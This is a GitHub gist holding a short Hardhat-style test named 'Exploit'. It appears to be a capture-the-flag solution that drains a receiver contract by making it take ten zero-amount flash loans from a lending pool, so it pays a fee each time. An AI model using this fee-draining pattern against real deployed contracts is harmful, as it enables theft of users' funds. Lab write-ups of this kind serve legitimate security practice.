Last active
January 21, 2023 16:09
-
-
Save az0mb13/c53170e782d6e317313ebb8ee223bc05 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it('Exploit', async function () { | |
this.pool.connect(attacker); | |
for (i = 1; i <= 10; i ++) { | |
this.pool.flashLoan(this.receiver.address, 0) | |
} | |
console.log(await ethers.provider.getBalance(this.receiver.address)) | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment